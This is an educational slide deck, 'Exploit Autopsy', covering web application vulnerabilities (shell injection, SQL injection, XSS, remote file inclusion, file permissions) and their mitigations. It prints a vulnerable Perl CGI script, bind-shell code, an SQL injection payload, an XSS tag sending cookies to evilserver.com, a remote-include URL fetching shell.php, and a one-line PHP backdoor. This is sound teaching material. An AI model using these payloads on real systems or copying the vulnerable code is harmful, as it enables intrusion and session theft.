Exploit Autopsy - Confluence

nostalgicisolatedSoftware and s/w Development

Nov 4, 2013 (3 years and 8 months ago)

106 views

Exploit Autopsy

Cracking open the chest of a web application attack

Lou Arminio & Bryce Bearchell

Outline


Disclaimer


Definitions


What vulnerable code looks like


Exploiting vulnerable code


Mitigation Vectors


What ITS can do for you


Questions

Disclaimer

This is for educational purposes only!

Definitions


Tainted Data

Any data that the program receives as input, reads from
files that it does not have control over, database entries
that are supplied externally…etc.



Vulnerability

Having the ability to cause unintended, unwanted, or
unauthorized actions



Attack Surface

What your program’s scope of operation and permissions
are, as well as the offered functionality of the program.


Perceived/Actual Attack Surface

What vulnerable code looks like

Types of vulnerabilities


Code/Shell injection


SQL/MY
-
SQL/DB injection


UI
-
Redressing (
Clickjacking
)


Cross
Site
Scripting (XSS)


Reflective versus stored


Cross Zone Scripting


Cross Site Request Forgery (CSRF/XSRF)


File permission problems


Client Side Validation


Remote code
execution


…and many more

Code/Shell Injection

Code/Shell Injection

Code/Shell Injection

#!/usr/bin/
perl

# comment.cgi
-

send comment to webmaster

# specify recipient of comment email


$to = "yyyyy
.
xxxx
@gmail.com";

use CGI;

use CGI::Carp qw(fatalsToBrowser);

$q = new CGI; # create query object


# display HTML header

print $q
-
>header,

$q
-
>start_html('Co
mment Sent'),

$q
-
>h1('Comment Sent');


# retrieve form field values and send comment to webmaster

$subject = $q
-
>param("subject");

$from = $q
-
>param("from");

$body = $q
-
>param("body");


# generate and send comment email

system("export REPLYTO=
\
"
$from
\
";
echo
\
"
$body
\
" | mail
-
s
\
"
$subject
\
" $to");


# indicate to user that email was sent

print "Thankyou for your comment on $subject.";

print "This has been sent to $to.";


# display HTML footer

print $q
-
>end_html;

Code/Shell Injection

sock = socket(PF_INET,
SOCK_STREAM, 0);

bind(sock, *[2, 64533, 0], 16);

listen(sock, 5);

nsock

= accept(sock, 0, 0);

dup2(
nsock
, 0);

dup2(
nsock
, 1);

execve
("/bin/
sh
", 0, 0);

Code/Shell Injection

SQL/MY
-
SQL/DB
Injection

$query =
sprintf
("SELECT * FROM `Users` WHERE
UserName
='%s' AND
Password='%s'", $
Username,$Password
);


mysql_query
($query
);


SELECT
* FROM `Users` WHERE
UserName
=‘ABC‘ AND Password=‘XYZ’


Authentication can be overcome with
with

Username & Password of


‘ or ‘1’=‘1


SELECT
* FROM `Users` WHERE
UserName
=‘
‘ or ‘1’=‘
1’
AND
Password
=‘
‘ or ‘1’=‘
1’


Which always evaluates to true!

UI
-
Redress (
ClickJacking
)

Cross Site Scripting (XSS)

XSS is
user controlled variables
being processed
by other
visitors
of a site in a scripting language (mainly HTML and PHP)


Scenario:


Public forum



Attacker writes HTML in a post that forwards the current users


session data and cookies to a remote server



A legitimate user
just

visits

the post
(nothing more) the code runs,

and sends the enemy server their session data and cookies






<
img

src
=
http://evilserver.com/grab.php?
javascript:document.cookie()>

File Permission Problems


Is the code writing data to a place where it can be executed?

/www/
cgi
-
bin/ versus /www/html/



User data written with executable extension?


(
php
,
cgi
, php5,
pl
,…
etc
)



User data written in files that are executable?


Chmod

777 *

Client Side Validation

Everything is alterable client
-
side!


The user can change:


GET data in a HTML request


PUT data in a HTML request


JavaScript that validates input data


AJAX validation and input

Remote Code Injection

<?
php



if (
isset
( $ _GET['page'] ) ) {





include( $ _GET['page'] . ".
php
" );



} else {





include("
home.php
");



}

?>




To exploit:


http://localhost/index.php?page=http://evilserver.com/shell.php

Exploiting Vulnerable Code


DOS (Denial Of Service)



Backdoors
-
> network infiltration

o
<?=`$
c
`?> /C99/r57/r00t_/etc…

o
Botnets



Information Leakage

o
PII (Personally Identifiable Information)



Identity Theft via Session Stealing


Demo

Client side validation failure coupled with remote code injection and incorrect file permissions

Mitigation Vectors


Principles:


Don’t trust the user input


Don’t trust the client



Application


Run code taint checking


Evaluate use
-
case scenarios carefully


Whitelist input, not blacklist



Mitigation Vectors

Attack

Mitigation

Code/Shell injection

Properly escape input

SQL/MY
-
SQL/DB injection

Properly escape input

UI
-
Redressing (
Clickjacking
)

Restrict

Zones

Cross Site Scripting (XSS)

Properly escape input

File permission problems

Segregate

data

Client Side Validation

Validate

on the Server

Remote code execution

Whitelist proper extensions

What ITS Can Do For
You

Questions